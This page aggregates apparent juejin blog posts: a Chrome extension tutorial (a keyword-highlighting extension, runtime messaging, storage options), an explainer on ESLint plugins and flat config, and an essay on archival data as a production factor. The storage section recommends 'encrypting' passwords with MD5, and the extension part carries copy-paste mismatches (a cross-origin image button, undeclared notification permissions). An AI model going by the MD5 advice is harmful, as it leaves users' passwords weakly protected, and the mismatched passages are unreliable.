带选项页面的扩展,其实在上一Demo: 常驻后台 中用到了,就是options.htmloptions.js, 这里的Demo,偷个小懒,还是用上面的改变背景颜色, 上一个Demo已经跟着做了一遍的就不用再做了,完全是一样的,这里为了文章的完整性,还是复制粘贴一下。

Demo描述: 用户可在选项页面添加关键词,后台脚本会自动运行,监测用户浏览的所有网页。当页面加载完成时,它会向网页注入一个脚本,遍历页面文本内容,使用高级的 DOM 操作技巧,精确查找用户设置的关键词。一旦找到,会使用Range对象将关键词用黄色高亮显示,同时不破坏原文档结构。

Demo效果: 可以看到在设置关键词之后,浏览掘金首页,跟关键词匹配上的文字都黄色高亮显示了。看下面代码就可以发现,其实就是对页面的Dom进行匹配,匹配上了之后将文字替换成带有黄色高亮的<span>

1737428630577.gif

Demo源码:

1. 创建项目结构

.
├── background
│   └── background.js
├── manifest.json
├── options
│   ├── options.html
│   └── options.js
└── popup
    ├── popup.html
    └── popup.js

image.png

2.manifest.json

{
    "manifest_version": 3,
    "name": "关键词高亮提醒插件",
    "version": "1.0",
    "description": "一个能在网页中高亮显示用户设定关键词的Chrome插件",
    "permissions": [
        "storage",
        "tabs",
        "activeTab",
        "scripting"
    ],
    "host_permissions": [
        "https://juejin.cn/*",
        "http://*/*",
        "https://*/*"
    ],
    "action": {
        "default_popup": "./popup/popup.html"
    },
    "options_page": "./options/options.html",
    "background": {
        "service_worker": "./background/background.js"
    }
}

3.popup.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>关键词高亮提醒</title>
    <style>
        body {
            width: 300px;
            padding: 20px;
            font-family: Arial, sans-serif;
            text-align: center;
            background-color: #f5f5f5;
        }
        h1 {
            color: #333;
            font-size: 18px;
            margin-bottom: 15px;
        }
        p {
            color: #666;
            font-size: 14px;
            margin-bottom: 20px;
        }
        button {
            background-color: #4CAF50;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 4px;
            cursor: pointer;
            font-size: 14px;
            transition: background-color 0.3s;
        }
        button:hover {
            background-color: #45a049;
        }
    </style>
</head>
<body>
    <h1>关键词高亮提醒插件</h1>
    <p>点击打开选项页面设置关键词</p>
    <button id="openOptions">打开选项页面</button>
    <script src="popup.js"></script>
</body>
</html>

4. popup.js

// popup.js
document.getElementById('openOptions').addEventListener('click', function() {
    if (chrome.runtime.openOptionsPage) {
        chrome.runtime.openOptionsPage();
    } else {
        window.open(chrome.runtime.getURL('options.html'));
    }
});

5. options.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>关键词设置</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            width: 800px;
            margin: 0 auto;
            padding: 40px;
            background-color: #f5f5f5;
        }
        h1 {
            color: #333;
            text-align: center;
            margin-bottom: 30px;
        }
        .input-container {
            display: flex;
            gap: 10px;
            margin-bottom: 20px;
            justify-content: center;
        }
        input {
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
            width: 300px;
            font-size: 14px;
        }
        button {
            padding: 10px 20px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 14px;
            transition: background-color 0.3s;
        }
        button:hover {
            background-color: #45a049;
        }
        #keywordList {
            list-style: none;
            padding: 0;
            margin: 0;
        }
        #keywordList li {
            background: white;
            margin: 10px 0;
            padding: 15px;
            border-radius: 4px;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .delete-btn {
            background-color: #f44336;
            padding: 5px 10px;
        }
        .delete-btn:hover {
            background-color: #da190b;
        }
    </style>
</head>
<body>
    <h1>设置关键词</h1>
    <div class="input-container">
        <input type="text" id="keywordInput" placeholder="请输入要监控的关键词">
        <button id="addKeyword">添加关键词</button>
    </div>
    <ul id="keywordList"></ul>
    <script src="options.js"></script>
</body>
</html>

6. options.js

// options.js
document.getElementById('addKeyword').addEventListener('click', function() {
    const keyword = document.getElementById('keywordInput').value;
    if (keyword) {
        chrome.storage.local.get(['keywords'], function(result) {
            let keywords = result.keywords || [];
            keywords.push(keyword);
            chrome.storage.local.set({ keywords: keywords }, function() {
                displayKeywords();
                document.getElementById('keywordInput').value = '';
            });
        });
    }
});

function displayKeywords() {
    document.getElementById('keywordList').innerHTML = '';
    chrome.storage.local.get(['keywords'], function(result) {
        const keywords = result.keywords || [];
        keywords.forEach(function(keyword, index) {
            const li = document.createElement('li');
            li.textContent = keyword;
            const deleteButton = document.createElement('button');
            deleteButton.textContent = '删除';
            deleteButton.addEventListener('click', function() {
                chrome.storage.local.get(['keywords'], function(result) {
                    let keywords = result.keywords || [];
                    keywords.splice(index, 1);
                    chrome.storage.local.set({ keywords: keywords }, displayKeywords);
                });
            });
            li.appendChild(deleteButton);
                document.getElementById('keywordList').appendChild(li);
            });
    });
}

displayKeywords();

7. background.js(后台脚本)

chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
    if (changeInfo.status === 'complete') {
        chrome.storage.local.get(['keywords'], function(result) {
            const keywords = result.keywords || [];
            if (keywords.length > 0) {
                chrome.scripting.executeScript({
                    target: { tabId: tabId },
                    func: highlightKeywords,
                    args: [keywords]  // 传递参数给函数
                });
            }
        });
    }
});

// 定义要注入的函数
function highlightKeywords(keywords) {
    keywords.forEach(function (keyword) {
        const regex = new RegExp(keyword, 'gi');
        const elements = document.querySelectorAll('body *');
        elements.forEach(function (element) {
            if (element.childNodes.length === 1 && element.childNodes[0].nodeType === Node.TEXT_NODE) {
                const node = element.childNodes[0];
                let match;
                while ((match = regex.exec(node.textContent))!== null) {
                    const range = document.createRange();
                    range.setStart(node, match.index);
                    range.setEnd(node, match.index + match[0].length);
                    const span = document.createElement('span');
                    span.style.backgroundColor = 'yellow';
                    span.textContent = match[0];
                    range.surroundContents(span);
                    // 重置 lastIndex,确保连续匹配
                    regex.lastIndex = 0;
                }
            }
        });
    });
}

// 监听标签页激活事件
chrome.tabs.onActivated.addListener(function(activeInfo) {
    // 获取当前激活的标签页信息
    chrome.tabs.get(activeInfo.tabId, function(tab) {
        // 检查标签页是否已加载完成
        if (tab.status === 'complete') {
            // 从本地存储中获取关键词
            chrome.storage.local.get(['keywords'], function(result) {
                const keywords = result.keywords || [];
                // 如果关键词数组不为空
                if (keywords.length > 0) {
                    // 在当前标签页中执行高亮关键词的脚本
                    chrome.scripting.executeScript({
                        target: { tabId: activeInfo.tabId },
                        func: highlightKeywords,
                        args: [keywords] // 传递关键词数组作为参数
                    });
                }
            });
        }
    });
});

// 监听新标签页创建事件
chrome.tabs.onCreated.addListener(function(tab) {
    // 从本地存储中获取关键词
    chrome.storage.local.get(['keywords'], function(result) {
        const keywords = result.keywords || []; // 获取关键词数组,如果不存在则为一个空数组
        // 如果关键词数组不为空
        if (keywords.length > 0) {
            // 在新创建的标签页中执行高亮关键词的脚本
            chrome.scripting.executeScript({
                target: { tabId: tab.id }, // 指定目标标签页
                func: highlightKeywords, // 要执行的函数
                args: [keywords] // 传递关键词数组作为参数
            });
        }
    });
});

// 监听标签页高亮事件
chrome.tabs.onHighlighted.addListener(function(highlightInfo) {
    // 遍历所有高亮的标签页ID
    highlightInfo.tabIds.forEach(function(tabId) {
        // 获取当前标签页的信息
        chrome.tabs.get(tabId, function(tab) {
            // 检查标签页是否已加载完成
            if (tab.status === 'complete') {
                // 从本地存储中获取关键词
                chrome.storage.local.get(['keywords'], function(result) {
                    const keywords = result.keywords || []; // 获取关键词数组,如果不存在则为一个空数组
                    // 如果关键词数组不为空
                    if (keywords.length > 0) {
                        // 在高亮的标签页中执行高亮关键词的脚本
                        chrome.scripting.executeScript({
                            target: { tabId: tabId }, // 指定目标标签页
                            func: highlightKeywords, // 要执行的函数
                            args: [keywords] // 传递关键词数组作为参数
                        });
                    }
                });
            }
        });
    });
});

// 监听标签页被替换事件
chrome.tabs.onReplaced.addListener(function(addedTabId, removedTabId) {
    // 从本地存储中获取关键词
    chrome.storage.local.get(['keywords'], function(result) {
        const keywords = result.keywords || []; // 获取关键词数组,如果不存在则为一个空数组
        // 如果关键词数组不为空
        if (keywords.length > 0) {
            // 在新替换的标签页中执行高亮关键词的脚本
            chrome.scripting.executeScript({
                target: { tabId: addedTabId }, // 指定目标标签页
                func: highlightKeywords, // 要执行的函数
                args: [keywords] // 传递关键词数组作为参数
            });
        }
    });
});

8.安装插件

  • 打开 Chrome 浏览器,访问 chrome://extensions/
  • 开启开发者模式(右上角的开关)。
  • 点击 “加载已解压的扩展程序”,选择包含上述文件的文件夹。

这样,当用户点击插件图标打开弹出窗口,再点击 “获取跨域图片” 按钮时,插件就会通过跨域请求获取图片并显示出来,从而演示跨域请求的过程。

image.png


image.png


好了,可以看看效果了。

可以看到,点击【打开选项页面】

image.png


这里就是【选项页面】:

image.png


9.代码解释:

  • manifest.json

    • manifest_version: 遵循 Chrome 扩展的 Manifest V3 规范。
    • permissions: 声明所需的权限,包括存储、标签页、通知和活动标签页的权限。
    • action.default_popup: 定义了弹出窗口的 HTML 文件。
    • options_page: 定义了用户设置关键词的选项页面。
    • background.service_worker: 定义了后台服务脚本。
  • popup.html 和 popup.js

    • 提供一个按钮,点击后可打开选项页面。
  • options.html 和 options.js

    • 允许用户输入关键词,添加和删除关键词,将关键词存储在chrome.storage.local中。
  • background.js

    • 包含多个事件监听器:

      • chrome.tabs.onUpdated: 监听标签页更新,当页面更新完成时,根据存储的关键词列表注入脚本对页面内容进行关键词高亮。
      • chrome.tabs.onActivated: 监听标签页激活,对激活的页面进行关键词高亮处理。
      • chrome.tabs.onCreated: 监听新标签页创建,对新页面进行关键词高亮处理。
      • chrome.tabs.onHighlighted: 监听标签页高亮,对高亮的页面进行关键词高亮处理。
      • chrome.tabs.onReplaced: 监听标签页替换,对替换后的页面进行关键词高亮处理。
  • 关键词高亮代码片段

    • 通过chrome.tabs.executeScript将一个函数注入到页面中,该函数使用RegExp将关键词在页面中进行全局不区分大小写的查找,并将找到的关键词使用<span style="background-color: yellow;">包裹,实现高亮。

5.扩展页面间的通信

在这纷繁复杂的江湖之中,信息的传递至关重要。就如同武林高手们需要互通消息,协同作战一样,Chrome 扩展中的不同页面之间也需要密切配合,这时候 “传音入密术” 便发挥了巨大的作用, 此术可以让我们的扩展页面之间悄无声息地传递信息,就像高手们使用传音入密的功夫,将重要的消息准确无误地传达给对方,而旁人却无法察觉。

在 Chrome 扩展开发领域。,论是扩展内部多个页面,还是不同扩展的页面,数据传输能让它们及时获取彼此状态。

以音乐播放器扩展为例,当用户在 popup 页面点击音乐列表,就触发了一系列通信需求。此时,popup 页面需将用户指令精准传达给后台页面,后台页面接收到指令后,随即启动相应音乐的播放流程。

Chrome 为满足此类通信需求,提供了 4 个关键接口:runtime.sendMessageruntime.onMessageruntime.connectruntime.onConnect

考虑到本教程的入门特性,这里着重说说runtime.sendMessageruntime.onMessage。而runtime.connectruntime.onConnect作为进阶接口,适合有更高需求的开发者深入探索。若想获取这两个接口的详尽官方文档,可访问:developer.chrome.com/extensions/… 。

值得特别指出的是,Chrome 众多 API 中,多数无法在content_scripts中运行,但runtime.sendMessageruntime.onMessage是难得的例外。这一特性,让扩展的其他页面与content_scripts之间实现了顺畅通信。

下面,我们深入剖析这两个接口的具体使用方法:

1. runtime.sendMessage

该方法的完整形式为:

chrome.runtime.sendMessage(extensionId, message, options, callback)
  • extensionId:明确消息发送的目标扩展。若未设置该参数,默认发送至发起消息的扩展自身。
  • message:承载实际发送的内容,数据类型无限制。可以是简单的字符串,如'Hello';也能是复杂的对象,像{action: 'play'};甚至是数字2013,或者数组['Jim', 'Tom', 'Kate'] 等。
  • options:这是一个对象类型参数,包含一个布尔型属性includeTlsChannelId。该属性决定扩展在发起消息时,是否将 TLS 通道 ID 发送给监听消息的外部扩展。不过,此属性仅在扩展与网页间通信时才会用到。若对 TLS 相关技术不太熟悉,可忽略这一属性,因为options本身是可选参数。
  • callback:作为回调函数,用于接收消息发送后的返回结果,同样属于可选参数。

2. runtime.onMessage

此方法的完整形式为:

chrome.runtime.onMessage.addListener(callback)

这里的callback是必填项,作为回调函数,它会接收三个参数:

  • message:即消息的具体内容。

  • sender:包含消息发送者的相关信息,其对象具有 4 个属性:

    • tab:代表发起消息的标签,关于标签的详细内容,可查阅 4.5 节。
    • id:发送者的唯一标识。
    • url:发送者所处的页面地址。
    • tlsChannelId:TLS 通道标识。
  • sendResponse:用于对消息发送者做出响应的函数。

随我做一个小Demo体验一下:

Demo描述:

此 Demo 展示了 Chrome 扩展中的简单消息传递机制。包含popup.htmlbackground.js两部分。在popup.html的脚本popup.js中,当页面加载完成,会向后台发送'Hello'消息。而background.js中使用chrome.runtime.onMessage.addListener监听消息,若收到'Hello',将回复'Hello from background.'。通过chrome.runtime.sendMessagechrome.runtime.onMessage.addListener接口,实现了popup页面和后台页面之间的消息交互,让用户体验 Chrome 扩展页面间的通信功能。

Demo效果:

image.png

Demo源码:

1. 创建项目结构

sendMessage-demo/
├── background
│   └── background.js
├── manifest.json
└── popup
    ├── popup.html
    └── popup.js

image.png

2. manifest.json

{
    "manifest_version": 3,
    "name": "Runtime Message Demo",
    "version": "1.0",
    "description": "A simple Chrome extension to demonstrate runtime message passing",
    "permissions": [],
    "action": {
        "default_popup": "./popup/popup.html"
    },
    "background": {
        "service_worker": "./background/background.js"
    }
}

3. popup.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Popup Page</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f0f0f0;
            margin: 0;
            padding: 20px;
            text-align: center;
        }
        h1 {
            color: #333;
            margin-bottom: 20px;
        }
        .container {
            background-color: #fff;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
            padding: 20px;
            display: inline-block;
        }
        .message {
            font-size: 18px;
            color: #555;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>Runtime Message Demo</h1>
        <div class="message" id="responseMessage"></div>
    </div>
    <script src="popup.js"></script>
</body>
</html>

4. popup.js

// popup.js
document.addEventListener('DOMContentLoaded', function() {
    chrome.runtime.sendMessage('Hello', function(response) {
        document.write(response);
    });
});

5. background.js

// background.js
chrome.runtime.onMessage.addListener(function(message, sender, sendResponse) {
    if (message === 'Hello') {
        sendResponse('Hello from background.');
    }
    // 必须返回 true 以表示你将异步调用 sendResponse
    return true;
});

代码解释:

  • manifest.json

    • manifest_version: 3 表示使用 Chrome 扩展的 Manifest V3 版本。
    • action.default_popup: 指定 popup.html 作为点击扩展图标时弹出的页面。
    • background.service_worker: 指定 background.js 作为后台服务脚本。
  • popup.html

    • 包含一个简单的页面结构,引用了 popup.js 脚本。
  • popup.js

    • document.addEventListener('DOMContentLoaded', function() {...}): 确保在页面内容加载完成后执行代码。
    • chrome.runtime.sendMessage('Hello', function(response) {...}): 向后台发送消息,消息内容为 'Hello',并定义一个回调函数,该回调函数接收后台的响应,并使用 document.write 显示在页面上。
  • background.js

    • chrome.runtime.onMessage.addListener(function(message, sender, sendResponse) {...}): 监听来自扩展其他部分的消息。
    • if (message === 'Hello') {...}: 当收到消息内容为 'Hello' 时,使用 sendResponse 发送响应 'Hello from background.'
    • return true: 因为 sendResponse 可能会异步调用,所以需要返回 true,表示你会在后续异步调用 sendResponse,否则 sendResponse 会在监听器函数执行完毕后失效。

6.安装插件

  • 打开 Chrome 浏览器,访问 chrome://extensions/
  • 开启开发者模式(右上角的开关)。
  • 点击 “加载已解压的扩展程序”,选择包含上述文件的文件夹。

image.png


image.png

6.存储数据

在江湖中,大侠们常常需要一个能收纳各种宝贝和秘籍的神奇法宝,而 “乾坤储物戒” 就是这样的存在。它拥有着广阔的空间,可将各种物品收纳其中,方便我们随时取用。在 Chrome 扩展的世界里,“乾坤储物戒” 也就是存储数据的技能,同样至关重要,我们可以使用它来存储各种信息,无论是用户的偏好设置、重要的数据,还是在江湖闯荡时收集的各种资料,都可以被安全地保存在这神奇的 “储物戒” 中。

通常来说,Chrome扩展可以采用以下三种方法中的一种来储存数据:

  1. 使用HTML5的localStorage。这种方法相对简单,可以看作是特殊的JavaScript变量,适用于保存“设置”这类简单的数据。

  2. 使用Chrome提供的存储API。这种方法可以保存任意类型的数据,但需要异步调用Chrome的API,结果需要使用回调函数接收。它适用于结构稍微复杂一些的数据。

  3. 使用Web SQL Database。这种方法需要使用SQL语句对数据库进行读写操作,相对复杂,但对于数据量庞大的应用来说是个不错的选择。

开发者应根据实际的情况选择上述三种方法中的一种或几种来存储扩展中的数据。由于我在上面小节中已经详细说了localStorage的使用方法,所以下面我将重点介绍后两种储存数据的方法。

Chrome存储API

Chrome为扩展应用提供了存储API,以便将扩展中需要保存的数据写入本地磁盘。Chrome提供的存储API可以说是对localStorage的改进,它与localStorage相比有以下区别:

  • 如果储存区域指定为sync,数据可以自动同步;
  • content_scripts可以直接读取数据,而不必通过background页面;
  • 在隐身模式下仍然可以读出之前存储的数据;
  • 读写速度更快;
  • 用户数据可以以对象的类型保存。

使用Chrome存储API必须要在Manifest的permissions中声明"storage",之后才有权限调用。Chrome存储API提供了2种储存区域,分别是sync和local。两种储存区域的区别在于,sync储存的区域会根据用户当前在Chrome上登陆的Google账户自动同步数据,当无可用网络连接可用时,sync区域对数据的读写和local区域对数据的读写行为一致。

Chrome同时还为存储API提供了一个onChanged事件,当存储区的数据发生改变时,这个事件会被激发。

Web SQL Database

Web SQL Database的三个核心方法为openDatabase、transaction和executeSql。openDatabase方法的作用是与数据库建立连接,transaction方法的作用是执行查询,executeSql方法的作用是执行SQL语句。

关于Web SQL Database的更多信息,你可以参考这里。由于原生的Web SQL Database并不算好用,也有一些开源的二次封装的库来简化Web SQL Database的使用,如html5sql

需要注意的是,以上几种数据的存储方式都不会对数据加密,如果储存的是敏感的数据,应该先进行加密处理。比如不要将用户密码的明码直接储存,而应先进行MD5加密。

对比:

存储方式描述适用场景
HTML5的localStorage操作简单,类似于特殊的JavaScript变量保存简单的数据,如“设置”等
Chrome提供的存储API可保存任意类型的数据,需要异步调用,结果需要使用回调函数接收适用于结构稍微复杂一些的数据
Web SQL Database需要使用SQL语句进行数据库读写操作,相对复杂数据量庞大的应用

总结

从 “操作用户正在浏览的页面” 的 “幻影迷踪手”,到 “跨域请求” 的 “天涯咫尺步”,再到 “常驻后台” 的 “隐世守护诀”,“带选项页面的扩展” 的 “百变如意囊”,“扩展页面间的通信” 的 “传音入密术”,以及 “存储数据” 的 “乾坤储物戒”,我们逐步掌握了一系列实用而强大的技能。这些技能如同武林秘籍中的各种绝学,既可以单独施展,展现独特威力,又能相互配合,形成一套完整的武功体系,助你在 Chrome 扩展的开发江湖中纵横驰骋。

愿各位大侠在今后的开发之路上,灵活运用这些技能,不断创新,打造出更加出色的 Chrome 扩展,在数字江湖中留下属于自己的传奇故事。

CACB8ED2053101A53C3AE64666A7E509.jpg

「 ✨ 致谢」

希望这篇关于 Chrome 扩展开发的文章能够为友友们提供一定的帮助和启发。若友友们认为此篇文章具有点价值,求点赞支持一下吧 👍💕🌹,同时,欢迎友友们在评论区留下宝贵的想法和问题 💬❤️🌹。

本专栏上一篇文章《Chrome 插件开发:构建插件与调试知识全掌握 🚀》

1065A02E8C99F17B78DE62C61AC9638C.jpg

参考书籍📚

Chrome扩展及应用开发(首发版)

by mimi咪_0212 at January 21, 2025 10:13 AM

别只会抄eslint配置,来了解一下这几个有用的eslint的插件的作用

eslint-plugin-prettier

作用
  • eslint-plugin-prettier 是一个 ESLint 插件,它的主要作用是将 Prettier 作为 ESLint 的规则来运行。这意味着可以使用 ESLint 来检查代码是否符合 Prettier 的格式化规则,并且可以将 Prettier 的格式化错误作为 ESLint 的错误进行报告。
工作原理
  • 当 ESLint 运行时,eslint-plugin-prettier 会先使用 Prettier 对代码进行格式化,然后将格式化后的代码与原始代码进行比较。如果两者不同,就会报告一个 ESLint 错误,提示代码不符合 Prettier 的格式化规则。
配置

eslint-config-prettier

作用
  • eslint-config-prettier 是一个 ESLint 配置文件,它的主要作用是关闭 ESLint 中与 Prettier 冲突的规则。因为有些 ESLint 规则可能会与 Prettier 的格式化规则产生冲突,例如 ESLint 可能有自己的缩进规则,而 Prettier 也有自己的缩进规则,这时候就需要关闭 ESLint 中这些冲突的规则,以避免重复的格式化和错误报告。
工作原理
  • 当使用 eslint-config-prettier 时,它会自动禁用那些与 Prettier 冲突的 ESLint 规则,确保 ESLint 和 Prettier 能够和谐共处。
  • eslint-plugin-prettiereslint-config-prettier常常一起配合使用
配置

eslint-plugin-react-hooks

作用
  • eslint-plugin-react-hooks 是react官方发布的一个eslint插件,也是vite创建react项目时默认内置的eslint插件,主要用于在使用 React Hooks 时进行静态代码检查,帮助开发者遵循 React Hooks 的规则,避免一些常见的错误和陷阱。
演示
  • 比如使用useEffect时,如果内部使用了useState,则会要求把useState加入依赖中,除非非必需。如果依赖了外部函数,会要求转成useCallback等等。

image.png

image.png

配置

eslint-plugin-react-refresh

作用
  • eslint-plugin-react-refresh 是一个 ESLint 插件,主要用于配合 React Refresh 来进行代码检查。
  • React Refresh 是 React 官方提供的一种在开发过程中实现快速刷新的技术。它允许在不丢失组件状态的情况下,实时更新模块的代码。当你修改组件的代码时,React Refresh 会智能地更新组件,而不是重新加载整个页面,这样可以大大提高开发效率。
  • eslint-plugin-react-refresh 为 React Refresh 提供了一系列 ESLint 规则,会检查你的代码中是否存在与 React Refresh 不兼容的代码模式,例如在函数组件中使用了不支持的语法或 API。如果发现这些问题,ESLint 会给出相应的警告或错误提示,帮助你及时修复。
  • 通常和eslint-plugin-react-hooks配合使用。
配置

eslint-plugin-jsx-a11y

作用
  • eslint-plugin-jsx-a11y 是一个用于检查 React JSX 代码中可访问性(Accessibility,即 a11y,是 “accessibility” 一词中字母 “a” 到 “y” 之间有 11 个字母,故用 a11y 来简称)问题的 ESLint 插件。
  • 可访问性是指确保网站和应用程序对于所有用户,包括那些有残疾或特殊需求的用户,都是可用的。eslint-plugin-jsx-a11y 会依据各种可访问性标准(如 WCAG - Web Content Accessibility Guidelines)来检查 JSX 代码,提醒开发者注意代码中可能存在的违反可访问性原则的问题,从而帮助开发者编写出更具包容性的代码。
  • 确保使用的 HTML 标签具有正确的语义,比如使用 <button> 标签来表示可点击的按钮,而不是使用 <div> 标签并添加点击事件来模拟按钮,因为 <button> 标签本身具有更好的可访问性语义。检查表单元素(如输入框、复选框等)是否有正确的标签(label)与之关联,以便屏幕阅读器能够正确地为用户描述这些表单元素的用途。
演示

image.png

配置

eslint-plugin-styled-components-a11y

作用
  • eslint-plugin-styled-components-a11y和上面的类似,不过是用来对使用 styled-components 编写的样式化组件进行静态代码分析,以确保这些组件遵循可访问性最佳实践。
配置
踩坑
  • eslint v8的配置是没问题的,对eslint v9的配置似乎有点问题。

eslint-plugin-import

作用
  • eslint-plugin-import允许开发者定义导入语句的分组和排序规则,使代码更加整洁和易于阅读。可以整理导入模块路径,避免重复的导入模块。
演示

image.png

配置
  • 导入顺序要额外配置
import importPlugin from 'eslint-plugin-import'

{
    extends: [importPlugin.flatConfigs.recommended],
    rules: {
        'import/order': [
            'error',
            {
                // 定义导入分组
                groups: [
                    'builtin', // 内置模块,如 'fs', 'path' 等
                    'external', // 外部依赖,如 'react', 'lodash' 等
                    'internal', // 内部模块,以相对路径引入的模块
                    'parent', // 父级目录下的模块
                    'sibling', // 同级目录下的模块
                    'index', // 当前目录下的 index 文件
                ],
                // 定义每组内的排序规则
                alphabetize: {
                    order: 'asc', // 按字母顺序升序排列
                    caseInsensitive: true, // 不区分大小写
                },
            },
        ], 
    }
}

eslint-plugin-jsdoc

作用
  • eslint-plugin-jsdoc可以强制要求开发者为函数添加 JSDoc 注释,包括对函数的功能描述、参数说明和返回值说明等。
  • jsdoc默认是全部需要的。不过对于ts,则不需要一些jsdoc的类型,可以根据js/jsx和ts/tsx文件做不同的配置,比如ts/tsx则去掉需要type的rules。
配置
import jsdoc from 'eslint-plugin-jsdoc'
// ts
{
    files: ['**/*.{ts,tsx}'],
    extends: [jsdoc.configs['flat/recommended']],
    rules: {
        'jsdoc/require-param-type': 'off',
        'jsdoc/require-returns': 'off',
    }
}

// js
{
    files: ['**/*.{js,jsx}'],
    extends: [jsdoc.configs['flat/recommended']],
}

tseslint.config和flatconfig

现在eslint v9主推的是flatconfig,也就是直接导出一个数组,里面是扁平化的配置。

image.png 我们看到大多数插件文档,也是使用这种方式导入,例如 eslint-plugin-react-refresh 的文档,它的推荐配置:

image.png

其实内部的结构是这样的:

image.png

也就是说,实际上是使用一个对象,里面有plugin和rules两个属性:

{
    plugins: {
        [插件名]:{
            rules: {
                ...
            }
        }
    },
    rules: {
        ...
    }
}

所以遇到这种扁平化配置,要追加配置,只需要在后面添加一个对象,然后像之前配eslint一样配置规则就行了。

image.png

但是我们使用vite创建react+typescript项目的时候,发现是直接导出了一个tseslint.config({...},{...}), 差点没把我搞蒙了。

image.png

原来tseslint.config可以将一个个配置整理在一起,变成一个配置导出。那么上面的flatconfig要怎么在这里配置呢?聪明的小伙伴可能已经看出来了,把...recommended注册到extends里面即可。如果没有提供recommended,则按照文档,把插件注册到plugins中,再启动或者关闭对应的rules即可。

extends和plugins怎么区分?

  • 原本每个插件都要到plugins中注册,然后再到rules把对应的每条规则都开启。
  • 但是如果有100条规则,岂不是要写100个rules
  • 此时插件的作者会把一些常用的rules写在recommended中,再通过extends直接继承就好了。如果作者推荐的一些规则是不需要的,则到rules关闭即可。或者是作者没推荐的规则,到rules注册启用即可。

by 天平 at January 21, 2025 10:11 AM

juejin article

档案事业与数据要素之间有什么关系?

在数字时代背景下,档案事业正经历着前所未有的变革。随着大数据、云计算、人工智能等技术的快速发展,档案数据已成为重要的基础性战略资源和关键生产要素。那么档案事业与数据要素之间究竟有什么关系?

一、档案数据要素的内涵与价值

数据要素化是大数据时代的典型特征,数据已成为继土地、劳动力、资本、技术之后的第五大生产要素。档案数据要素,作为数据要素的重要组成部分,是指档案数据所具有的生产要素属性。与一般数据要素相比,档案数据要素具有原始性、权威性、系统性等特点,是数字中国建设的重要战略资源。它不仅承载着档案的凭证、信息、文化功能,还兼具数据的关联性、共享性、创新性,双重属性铸就了档案数据要素的独特价值。

档案数据要素的价值体现在多个方面,包括经济价值、政治价值、文化价值、社会价值以及生态价值。在经济价值方面,档案数据要素可有效支撑数字产业发展,推动数字经济的高质量发展。在文化价值和社会价值方面,档案数据要素承载和传承着中华优秀传统文化,助力社会主义文化强国建设,满足人民群众日益增长的美好生活需要。在生态价值方面,档案数据要素有助于推进生态文明建设,促进人与自然和谐共生。

档案数据要素价值的形成和发挥遵循一定的内在机理和运行规律。数据要素通过资源化、资产化、资本化、产业化的链式循环流程,逐步实现价值积累与放大。同样地,档案数据要素价值生成机理也遵循这一逻辑。从数据到数据资源,是档案数据要素价值生成的起点;从数据资源到数据资产,是价值形成的关键;从数据资产到数据资本,是价值提升的重要环节;从数据资本到数据产业,是价值放大的重要表现。深入探析档案数据要素价值生成机理,有助于完善档案数据治理体系,推进档案数据的全面开发利用,激发档案数据的创新动能。

二、档案事业在数据要素时代的发展机遇

1.政策法规的引导与支持

当前,以大数据为代表的新一轮信息技术革命方兴未艾,数据要素优化配置已上升为国家战略。2021年《政府工作报告》提出,“十四五”时期要加快数字化发展,打造数字经济新优势。印发的《“十四五”全国档案事业发展规划》也指出,要推动档案全面纳入国家大数据战略,深入推进档案管理现代化。这为新时期档案数据要素发展提供了根本遵循和前进方向。伴随着数字中国建设的纵深推进,必将对档案数据要素发展提出更高要求,也为档案数据价值的释放和档案治理能力的提升带来新的机遇。

2.新质生产力的推动作用

在新质生产力背景下,数据要素在生产活动的各个环节广泛存在并与其他生产要素深度融合,通过横向叠加和纵向积累来驱动生产力体系向更高质量完善。这拓展了档案数据要素的应用场景,加快了档案数据要素的转化。

一方面,推进档案数据要素与土地、劳动力、资本、技术等其他要素深度协作配置,创新生产组合方式,提升要素配置效率;另一方面,突出档案数据要素在促进科技创新、驱动产业升级、优化公共服务等方面的基础支撑作用,提升数据价值链的整体竞争力。

  1. 信息技术的快速发展

随着大数据、云计算、人工智能、区块链等现代信息技术的快速发展和广泛应用,数字基础设施日益完善,算力水平大幅提升,数据处理能力持续增强,极大地拓展了数据要素的生产边界和应用场景。这为档案数据要素发挥数字红利、助推档案高质量发展带来了新的重大机遇。

数字化浪潮下,档案的形成方式发生了根本性变革,从传统纸质档案逐渐向电子文件、数字档案等转变,极大地丰富了档案数据资源的类型、内容和载体形式,为档案数据要素发展提供了坚实基础。同时,现代信息技术与档案深度融合,催生了电子档案管理、数字档案馆、智慧档案等新业态、新应用,显著提升了档案数据要素的应用水平。

三、档案事业在数据要素时代的发展策略

加快档案数据资源体系建设已成为档案事业发展的重要任务。要坚持存量与增量并重,深入推进档案数字化进程,加快实现传统载体档案数据化,将历史档案资源优势转化为发展优势。档案部门应统筹利用信息技术手段,优化完善档案数据标准规范,创新档案数据整理方法,增强档案数据的关联性、准确性和时效性,加强对档案数据的全过程质量控制,建设集中统一、布局合理、功能完善的现代化档案数据资源库,为档案数据有序流通和高效配置奠定坚实基础。

数据治理是数据要素价值转化的关键环节。档案部门应系统构建涵盖顶层设计、制度规范、平台支撑、标准规范、安全保障等在内的档案数据治理框架,形成纵向贯通、横向协同、上下联动的治理格局。

积极运用大数据、人工智能、区块链、隐私计算等新技术,推进档案数据治理模式创新,提高档案数据采集、存储、管理、分析、应用等各环节的智能化水平。同时,高度重视数据伦理与档案价值观的融合,严格遵守法律法规和职业道德,保护国家利益、商业秘密和个人隐私等,确保档案数据治理体系在法治轨道上平稳运行。

